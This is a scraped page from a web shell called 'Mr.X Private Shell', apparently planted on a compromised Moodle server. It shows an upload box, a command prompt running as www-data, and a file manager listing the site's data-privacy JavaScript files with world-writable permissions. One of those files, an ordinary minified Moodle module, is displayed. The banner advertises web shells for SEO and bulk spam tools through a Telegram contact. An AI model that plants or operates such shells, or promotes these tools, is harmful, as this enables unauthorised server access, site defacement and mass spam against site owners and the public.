__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
define("tool_dataprivacy/selectedcourses",["exports","core/ajax","core/notification","core/modal_save_cancel","core/modal_events","core/fragment","core/prefetch","core/str"],(function(_exports,_ajax,_notification,_modal_save_cancel,_modal_events,_fragment,_prefetch,_str){function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj}}function _defineProperty(obj,key,value){return key in obj?Object.defineProperty(obj,key,{value:value,enumerable:!0,configurable:!0,writable:!0}):obj[key]=value,obj}Object.defineProperty(_exports,"__esModule",{value:!0}),_exports.default=void 0,_ajax=_interopRequireDefault(_ajax),_notification=_interopRequireDefault(_notification),_modal_save_cancel=_interopRequireDefault(_modal_save_cancel),_modal_events=_interopRequireDefault(_modal_events),_fragment=_interopRequireDefault(_fragment),(0,_prefetch.prefetchStrings)("tool_dataprivacy",["selectcourses","approverequest","errornoselectedcourse"]);return _exports.default=class{constructor(contextId,requestId){_defineProperty(this,"contextId",0),_defineProperty(this,"requestId",0),this.contextId=contextId,this.requestId=requestId,_modal_save_cancel.default.create({title:(0,_str.getString)("selectcourses","tool_dataprivacy"),body:this.getBody({requestid:requestId}),large:!0,removeOnClose:!0,buttons:{save:(0,_str.getString)("approverequest","tool_dataprivacy")}}).then((modal=>(this.modal=modal,modal))).then((modal=>(modal.getRoot().on(_modal_events.default.save,this.submitForm.bind(this)),modal.getRoot().on("submit","form",this.submitFormAjax.bind(this)),modal.show(),modal))).catch(_notification.default.exception)}getBody(formdata){const params=formdata?{jsonformdata:JSON.stringify(formdata)}:null;return _fragment.default.loadFragment("tool_dataprivacy","selectcourses_form",this.contextId,params)}submitForm(e){e.preventDefault(),this.modal.getRoot().find("form").submit()}submitFormAjax(e){e.preventDefault();let formData=this.modal.getRoot().find("form").serialize();if(-1===formData.indexOf("coursecontextids")){const customSelect=this.modal.getRoot().find(".custom-select"),invalidText=this.modal.getRoot().find(".invalid-feedback");return customSelect.addClass("is-invalid"),invalidText.attr("style","display: block"),void(0,_str.getString)("errornoselectedcourse","tool_dataprivacy").then((value=>{invalidText.empty().append(value)})).catch(_notification.default.exception)}_ajax.default.call([{methodname:"tool_dataprivacy_submit_selected_courses_form",args:{requestid:this.requestId,jsonformdata:JSON.stringify(formData)}}])[0].then((data=>(data.warnings.length>0?this.modal.setBody(this.getBody(formData)):(this.modal.destroy(),document.location.reload()),data))).catch((error=>_notification.default.exception(error)))}},_exports.default}));

//# sourceMappingURL=selectedcourses.min.js.map

Filemanager

Name Type Size Permission Actions
add_category.min.js File 2.59 KB 0777
add_category.min.js.map File 8.47 KB 0777
add_purpose.min.js File 2.55 KB 0777
add_purpose.min.js.map File 8.4 KB 0777
categoriesactions.min.js File 3.12 KB 0777
categoriesactions.min.js.map File 4.99 KB 0777
contactdpo.min.js File 1.53 KB 0777
contactdpo.min.js.map File 3.23 KB 0777
data_deletion.min.js File 1.99 KB 0777
data_deletion.min.js.map File 6.46 KB 0777
data_registry.min.js File 5.77 KB 0777
data_registry.min.js.map File 16.7 KB 0777
data_request_modal.min.js File 3.33 KB 0777
data_request_modal.min.js.map File 4.56 KB 0777
defaultsactions.min.js File 5.53 KB 0777
defaultsactions.min.js.map File 15.59 KB 0777
effective_retention_period.min.js File 1.1 KB 0777
effective_retention_period.min.js.map File 3.53 KB 0777
events.min.js File 557 B 0777
events.min.js.map File 1.54 KB 0777
expand_contract.min.js File 2.1 KB 0777
expand_contract.min.js.map File 5.7 KB 0777
form-user-selector.min.js File 1007 B 0777
form-user-selector.min.js.map File 3.4 KB 0777
myrequestactions.min.js File 1.7 KB 0777
myrequestactions.min.js.map File 3.66 KB 0777
purposesactions.min.js File 3.27 KB 0777
purposesactions.min.js.map File 5.77 KB 0777
request_filter.min.js File 1.03 KB 0777
request_filter.min.js.map File 3.61 KB 0777
requestactions.min.js File 6.42 KB 0777
requestactions.min.js.map File 19.65 KB 0777
selectedcourses.min.js File 2.75 KB 0777
selectedcourses.min.js.map File 6.96 KB 0777
Filemanager